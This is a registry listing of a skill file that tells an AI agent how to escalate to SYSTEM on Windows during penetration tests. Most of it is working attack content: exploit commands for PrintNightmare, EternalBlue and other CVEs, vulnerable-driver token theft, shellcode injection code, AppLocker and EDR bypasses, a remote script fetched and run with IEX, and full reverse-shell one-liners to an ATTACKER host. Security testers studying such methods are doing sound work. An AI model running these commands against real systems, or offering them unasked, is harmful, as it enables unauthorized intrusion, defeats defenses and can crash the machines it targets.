blacklanternsecurity

windows-kernel-exploits

Exploit Windows kernel vulnerabilities, vulnerable drivers, and privileged file operations for local privilege escalation to SYSTEM.

blacklanternsecurity 208 24 Updated 3mo ago
GitHub

Install

npx skillscat add blacklanternsecurity/red-run/windows-kernel-exploits

Install via the SkillsCat registry.

SKILL.md

Windows Kernel Exploits & Privileged Operations

You are helping a penetration tester exploit kernel vulnerabilities, vulnerable drivers,
and privileged file/pipe operations on a Windows system. All testing is under explicit
written authorization.

Warning: Kernel exploits can crash the target system. Always warn before execution.
Prefer reliable exploits and avoid experimental PoCs on production systems.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [windows-kernel-exploits] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with
    descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.

State Management

Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Shell access on Windows (cmd.exe, PowerShell)
  • systeminfo output (for exploit matching)
  • Ability to transfer and execute binaries on target
  • Some exploits require specific privileges (SeLoadDriverPrivilege for BYOVD)

Step 1: Assess — OS Version and Patch Level

Collect the information needed to match against known kernel CVEs.

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
ver
wmic os get Caption, Version, BuildNumber, OSArchitecture

Save systeminfo output for offline analysis:

systeminfo > C:\Windows\Temp\systeminfo.txt

Key information to note:

  • OS name and version (e.g., Windows 10 Pro 1903)
  • Build number (e.g., 18362)
  • Architecture (x86 vs x64)
  • Hotfix list and count
  • Domain membership

Check loaded drivers (for BYOVD):

driverquery /v /fo table
driverquery /si

Step 2: Exploit Suggester

Use automated tools to match the target's patch level against known kernel CVEs.

WES-NG (Primary — Run on Attacker Machine)

# Update vulnerability database
python3 wes.py --update

# Analyze systeminfo output
python3 wes.py systeminfo.txt

# Filter for specific impact
python3 wes.py systeminfo.txt --impact "Elevation of Privilege"
python3 wes.py systeminfo.txt --exploits-only

Watson (On Target — .NET 2.0+)

Watson.exe

Watson checks for: CVE-2019-0836, CVE-2019-0841, CVE-2019-1064, CVE-2019-1130,
CVE-2019-1253, CVE-2019-1315, CVE-2019-1385, CVE-2019-1388, CVE-2019-1405,
CVE-2020-0668, CVE-2020-0683, CVE-2020-1013, and more.

Legacy windows-exploit-suggester

./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2024-01-01-mssb.xlsx --systeminfo systeminfo.txt

Triage Results

Prioritize by:

  1. Reliability — exploits with public, stable PoCs
  2. Impact — SYSTEM shell vs arbitrary write
  3. Crash risk — avoid pool corruption exploits on production
  4. Architecture match — x86 vs x64 binary must match target

Step 3: Named Kernel CVE Exploitation

PrintNightmare Local (CVE-2021-1675 / CVE-2021-34527)

Print Spooler RCE that also works for local privilege escalation. Loads a DLL as
SYSTEM via the Print Spooler service.

Affected: Windows with Print Spooler running, pre-July 2021 patches.

Check vulnerability:

# Check if Print Spooler RPC is available
python3 rpcdump.py @TARGET | egrep 'MS-RPRN|MS-PAR'
:: Check Spooler service status
sc query Spooler

Local privilege escalation (LPE):

# SharpPrintNightmare — direct LPE
SharpPrintNightmare.exe C:\Windows\Temp\payload.dll

# Invoke-Nightmare (PowerShell) — adds local admin
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare  # Default: adds adm1n/P@ssw0rd
Invoke-Nightmare -NewUser "hacker" -NewPassword "Passw0rd!"
Invoke-Nightmare -DLL "C:\absolute\path\to\payload.dll"
# Mimikatz (v2.2.0+)
misc::printnightmare /server:localhost /library:C:\Windows\Temp\payload.dll

Remote exploitation (requires SMB or WebDAV share):

# Host payload DLL via Impacket SMB
python3 smbserver.py share /tmp/smb/

# Remote exploit
python3 CVE-2021-1675.py domain/user:Pass@TARGET '\\ATTACKER\share\payload.dll'

# SharpPrintNightmare remote
SharpPrintNightmare.exe '\\ATTACKER\share\payload.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_*\Amd64\UNIDRV.DLL' '\\TARGET'

Error codes: 0x5 = share permissions issue, 0x525 = account doesn't exist,
0x180 = use SMBv3 instead of v2.

MS17-010 EternalBlue (CVE-2017-0144)

Affected: Windows 7, 2008 R2, 2003, XP (pre-KB4013389). Remote SYSTEM RCE via SMB.

Detection:

nmap -Pn -p445 --script smb-vuln-ms17-010 TARGET
netexec smb TARGET -M ms17-010

Exploitation:

# Metasploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS TARGET
set LHOST ATTACKER
run

# Standalone (Python2)
git clone https://github.com/helviojunior/MS17-010
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o shell.exe
python2 send_and_execute.py TARGET shell.exe

MS16-032 (CVE-2016-0099) — Secondary Logon Handle Leak

Affected: Windows 7, 8, 10, 2008, 2012 R2 (pre-KB3139914). Local escalation.

wmic qfe list | findstr "3139914"

If patch not found:

# PowerShell exploit
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1')
Invoke-MS16032 -Command "cmd /c start cmd.exe"

# Metasploit
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

MS15-051 (CVE-2015-1701) — Win32k Client Copy Image

Affected: Windows 2003, 2008, 7, 8, 2012. Local SYSTEM escalation.

:: Usage
ms15-051.exe "whoami"
ms15-051.exe "cmd.exe /c net localgroup administrators user /add"

MS10-015 KiTrap0D (CVE-2010-0232)

Affected: Windows NT, 2000, 2003, 2008, XP, Vista, 7. Local SYSTEM.

# Metasploit
use exploit/windows/local/ms10_015_kitrap0d

CVE-2019-1388 — Certificate Dialog Elevation

Affected: Windows 7, Windows 10 LTSC 10240. Interactive desktop required.

  1. Right-click hhupd.exe → Run as administrator
  2. Click "Show information about the publisher's certificate"
  3. Click the "Issued by" URL link
  4. Browser opens as SYSTEM — use File → Open to launch cmd.exe

Note: Requires interactive desktop access. Does not work via remote shell.

CVE-2020-0796 SMBGhost

Affected: Windows 10 1903-1909, Server v1903-v1909.

Primarily remote RCE but local LPE variants exist. Exploit reliability is low —
use only as a last resort.

Kernel CVE Quick Reference

CVE Name Affected Type Reliability
CVE-2021-1675 PrintNightmare Pre-Jul 2021 LPE/RCE High
CVE-2017-0144 EternalBlue 7/2008/2003/XP RCE High
CVE-2016-0099 MS16-032 7/8/10/2008/2012 LPE High
CVE-2015-1701 MS15-051 2003/2008/7/8/2012 LPE High
CVE-2010-0232 KiTrap0D Pre-Win8 LPE Medium
CVE-2019-1388 Cert Dialog 7/10 LTSC LPE Medium (interactive)
CVE-2020-0796 SMBGhost 10 1903-1909 RCE/LPE Low
CVE-2021-36934 HiveNightmare Pre-Jul 2021 Info Disclosure High

Step 4: BYOVD (Bring Your Own Vulnerable Driver)

Load a known-vulnerable signed kernel driver to gain arbitrary kernel read/write,
then use it to steal the SYSTEM token.

Prerequisites

  • Admin access or SeLoadDriverPrivilege
  • Vulnerable driver binary (signed, so Windows loads it)
  • Kernel offsets for target OS version

Known Vulnerable Drivers

Driver Vulnerability Use Case
Capcom.sys Arbitrary code execution in kernel Direct kernel shellcode
RTCore64.sys Arbitrary memory R/W via IOCTL Token theft
DBUtil_2_3.sys Arbitrary memory write Token theft

Reference: https://www.loldrivers.io/ — curated database of vulnerable drivers
with hashes and CVE references.

Enumerate Loaded Drivers

driverquery /v /fo table
driverquery /si
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer, InfName | Format-Table

Generic BYOVD Workflow

  1. Load the vulnerable driver:
sc create VulnDriver type=kernel binPath=C:\Windows\Temp\vuln.sys
sc start VulnDriver
  1. Exploit the driver for kernel R/W (tool-specific — see driver documentation)

  2. Token theft — copy SYSTEM token to current process:

The standard kernel exploitation primitive: walk the EPROCESS linked list to find
PID 4 (SYSTEM), read its token, and overwrite the current process's token.

// Pseudocode (EPROCESS offsets vary per OS build)
1. Get ntoskrnl base via EnumDeviceDrivers or NtQuerySystemInformation
2. Resolve PsInitialSystemProcess → SYSTEM EPROCESS address
3. Walk ActiveProcessLinks to find current process EPROCESS
4. Read SYSTEM token (EPROCESS + Token offset), mask EX_FAST_REF low bits
5. Write SYSTEM token to current process EPROCESS
6. Spawn cmd.exe → now running as SYSTEM

EPROCESS offsets (must be resolved per build via WinDbg symbols):

  • UniqueProcessId: ~0x440
  • ActiveProcessLinks: ~0x448
  • Token: ~0x4b8
  • EX_FAST_REF mask: & ~0xF
  1. Cleanup:
sc stop VulnDriver
sc delete VulnDriver

BYOVD for EDR Bypass

Vulnerable drivers can also be used to disable EDR/PPL protections:

  • Kill protected processes by zeroing their token
  • Unload EDR kernel callbacks
  • Disable PPL (Protected Process Light) on LSASS

Tools: PPLKiller, EDRSandblast, KDU (Kernel Driver Utility).

Step 5: Privileged File Write Exploits

These techniques exploit Windows services that load DLLs from predictable paths.
You need the ability to write a DLL to the target path (often requires an arbitrary
file write primitive or writable directory).

DiagHub (Pre-Windows 10 1903)

DiagnosticHub Standard Collector Service loads DLLs from System32.

:: Place payload DLL in System32 (requires write access)
copy payload.dll C:\Windows\System32\payload.dll

:: Trigger DLL load
diaghub.exe C:\ProgramData\ payload.dll

Tool: https://github.com/xct/diaghub

UsoDLLLoader (Windows 10 1903-2004)

Update Session Orchestrator loads WindowsCoreDeviceInfo.dll from System32.

:: Place DLL
copy payload.dll C:\Windows\System32\WindowsCoreDeviceInfo.dll

:: Trigger via USO
UsoDllLoader.exe

:: Alternative trigger
usoclient StartInteractiveScan

Result: Bind shell on port 1337 (default payload).
Tool: https://github.com/itm4n/UsoDllLoader

WerTrigger (Windows Error Reporting)

WER service loads phoneinfo.dll from a predictable path.

:: Setup
copy phoneinfo.dll C:\Windows\System32\phoneinfo.dll

:: Trigger
WerTrigger.exe

Result: SYSTEM shell.
Tool: https://github.com/sailay1996/WerTrigger

WerMgr (WER Directory Creation)

:: Setup
dircreate2system.exe

Creates wermgr.exe.local directory with weak permissions, loads DLL via DotLocal
redirection.
Tool: https://github.com/binderlabs/DirCreate2System

Privileged File Delete → SYSTEM (MSI Rollback)

An arbitrary file delete primitive can be escalated to SYSTEM via MSI rollback abuse:

  1. Install a crafted MSI that triggers an error during installation
  2. Exploit deletes C:\Config.Msi during rollback window
  3. Recreate C:\Config.Msi with weak DACL
  4. Drop malicious rollback files
  5. Windows Installer executes rollback payload as SYSTEM

Tool: https://github.com/thezdi/PoC/tree/master/FilesystemEoPs/FolderOrFileDeleteToSystem

Post-exploit via On-Screen Keyboard:

  1. Exploit writes HID.dll to C:\Program Files\Common Files\microsoft shared\ink\
  2. Press Ctrl+Alt+Del → open On-Screen Keyboard
  3. osk.exe loads HID.dll from ink directory → SYSTEM shell

Step 6: Named Pipe & Leaked Handle Exploitation

Named Pipe Impersonation

Create a named pipe, trick a privileged process into connecting, then impersonate
its token. This is the foundation of all Potato exploits.

Core pattern (C):

// 1. Create named pipe
HANDLE hPipe = CreateNamedPipeA("\\\\.\\pipe\\evil",
    PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
    1, 0, 0, 0, NULL);

// 2. Wait for privileged client
ConnectNamedPipe(hPipe, NULL);

// 3. MUST read at least one message before impersonation
char buf[4]; DWORD rb;
ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);

// 4. Impersonate client token
ImpersonateNamedPipeClient(hPipe);

// 5. Open impersonation token → duplicate to primary → CreateProcessWithTokenW

Common triggers to coerce privileged connections:

  • Print Spooler RPC (ms-rprn pipe) → PrintSpoofer
  • DCOM OXID resolver → RoguePotato
  • MS-EFSR (EFS) pipe → EfsPotato
  • Custom service coercion

For full Potato family exploitation, route to windows-token-impersonation.

Leaked Handle Exploitation

If a privileged process creates a child with bInheritHandles=TRUE, the child
inherits open handles to privileged resources.

Enumerate inherited handles:

:: Sysinternals Handle tool
handle64.exe /a /p <PID>

Exploit inherited process handle:

// If inherited handle has PROCESS_ALL_ACCESS to a SYSTEM process:
// 1. Allocate memory in privileged process
LPVOID addr = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);

// 2. Write shellcode
WriteProcessMemory(hProc, addr, payload, payload_len, NULL);

// 3. Create thread in privileged process
HANDLE hThread;
RtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, addr, NULL, &hThread, NULL);

Alternative — spawn child with privileged parent:

// Use inherited SYSTEM process handle as parent for new process
STARTUPINFOEXA si = {0};
SIZE_T size = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, TRUE,
    EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL,
    (LPSTARTUPINFOA)&si, &pi);

Tools: LeakedHandlesFinder

Step 7: Restricted Shell Escape (Pre-Requisite)

If you're in a restricted shell, escape it before attempting kernel exploitation.

PowerShell Constrained Language Mode (CLM) Bypass

# Check current language mode
$ExecutionContext.SessionState.LanguageMode

# Downgrade to PowerShell v2 (if available — FullLanguage mode)
powershell -Version 2

AppLocker Bypass via LOLBins

:: MSBuild — compile and execute inline C#
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe task.xml

:: InstallUtil — execute .NET assembly
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

:: regsvcs / regasm
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe payload.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe payload.dll /U

Step 8: Escalate or Pivot

Reverse Shell via MCP

When a kernel exploit produces a SYSTEM shell, catch it via the MCP
shell-server
rather than relying on interactive console spawning. Kernel
exploits (PrintNightmare, EternalBlue LPE, BYOVD token theft) create a new
SYSTEM process -- route it to the shell-server for agent interaction.

  1. Call start_listener(port=4444) to prepare a catcher on the attackbox
  2. Configure the exploit to run a reverse shell as its payload:
    :: PrintNightmare — DLL payload with reverse shell in DllMain
    :: BYOVD — after token theft, spawn:
    cmd.exe /c powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
    :: Or via nc.exe:
    C:\temp\nc.exe ATTACKER PORT -e cmd.exe
  3. Call stabilize_shell(session_id=...) to upgrade to interactive PTY
  4. Verify the new privilege level with send_command(session_id=..., command="whoami")

If the target lacks outbound connectivity, use the kernel exploit to add a
local admin user or create a bind shell, and interact through an existing
session.

After achieving SYSTEM:

  • Domain-joined: Route to ad-discovery for domain enumeration
  • Credentials needed: Route to windows-credential-harvesting or
    credential-dumping (now accessible as SYSTEM)
  • Lateral movement: Route to pass-the-hash with extracted hashes
  • Persistence: Route to windows-service-dll-abuse for service-based persistence
    or windows-uac-bypass (autorun techniques) for user-level persistence

When routing, pass along: hostname, OS version, current access (SYSTEM), exploit used,

Stall Detection

If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
stop.

What counts as progress:

  • Trying a variant or alternative documented in this skill
  • Adjusting syntax, flags, or parameters per the Troubleshooting section
  • Gaining new diagnostic information (different error, partial success)

What does NOT count as progress:

  • Writing custom exploit code not provided in this skill
  • Inventing workarounds using techniques from other domains
  • Retrying the same command with trivially different input
  • Compiling or transferring tools not mentioned in this skill

If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.

Do not loop. Work through failures systematically:

  1. Try each variant or alternative once
  2. Check the Troubleshooting section for known fixes
  3. If nothing works after 5 rounds, you are stalled

When stalled, return to the orchestrator immediately with:

  • What was attempted (commands, variants, alternatives tried)
  • What failed and why (error messages, empty responses, timeouts)
  • Assessment: blocked (permanent — config, patched, missing prereq) or
    retry-later (may work with different context, creds, or access)

When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.

AV/EDR Detection

If an exploit binary is caught by antivirus or EDR — do not retry with a
renamed binary or different download method. That is not progress.

Recognition Signals (Kernel Exploits)

  • Exploit binary deleted on transfer: Uploaded exploit but it's gone
    moments later — real-time protection quarantined a known exploit signature
  • Execution blocked: "Access denied" or "This program has been blocked"
    on a valid binary — AV/EDR policy blocking known exploit hashes
  • Process killed immediately: Exploit starts but dies within 1-2 seconds
    — behavioral monitoring detected suspicious kernel interaction
  • BYOVD driver blocked: Vulnerable driver fails to load — "Windows cannot
    verify the digital signature" or driver blocked by HVCI/vulnerable driver
    blocklist

What to Do

  1. Stop immediately — do not retry the same exploit binary
  2. Note what was caught: which exploit (CVE/name), binary source, exact
    error or behavior
  3. Return to orchestrator with structured AV-blocked context:
### AV/EDR Blocked
- Payload: <what was attempted> (e.g., "PrintNightmare DLL, compiled from GitHub PoC")
- Detection: <what happened> (e.g., "exploit binary quarantined on transfer")
- AV product: <if known> (e.g., "Windows Defender")
- Technique: <what kernel exploit was attempted> (e.g., "CVE-2021-1675 PrintNightmare")
- Payload requirements: <what is needed> (e.g., "DLL for Spooler service, x64")
- Target OS: <version>
- Current access: <user and method>

The orchestrator will route to av-edr-evasion to build a bypass payload,
then re-invoke this skill with the AV-safe artifact.

Troubleshooting

Exploit crashes the target

Kernel exploits that corrupt pool memory can BSOD the system. Always check exploit
notes for stability warnings. Prefer LPE exploits with "stable" or "reliable" tags.
On production systems, try non-kernel vectors first (token impersonation, services, UAC).

"Access Denied" loading driver (BYOVD)

SeLoadDriverPrivilege or admin access is required. Check whoami /priv. If not
available, escalate via other vectors first.

Exploit binary wrong architecture

x86 exploits fail on x64 and vice versa. Check systeminfo | findstr "System Type".
Download the correct architecture binary. Some exploits (PrintNightmare DLL) must
match the Spooler service architecture.

WES-NG reports many CVEs but none have public exploits

WES-NG lists all missing patches, not just exploitable ones. Filter with
--exploits-only to show only CVEs with known public exploits. Cross-reference
with https://github.com/SecWiki/windows-kernel-exploits for compiled binaries.

PrintNightmare fails with "not vulnerable"

Check: (1) Spooler service is running, (2) patches pre-July 2021, (3) no
RestrictDriverInstallationToAdministrators registry key. On DCs, check if
Pre Windows 2000 Compatibility group is populated.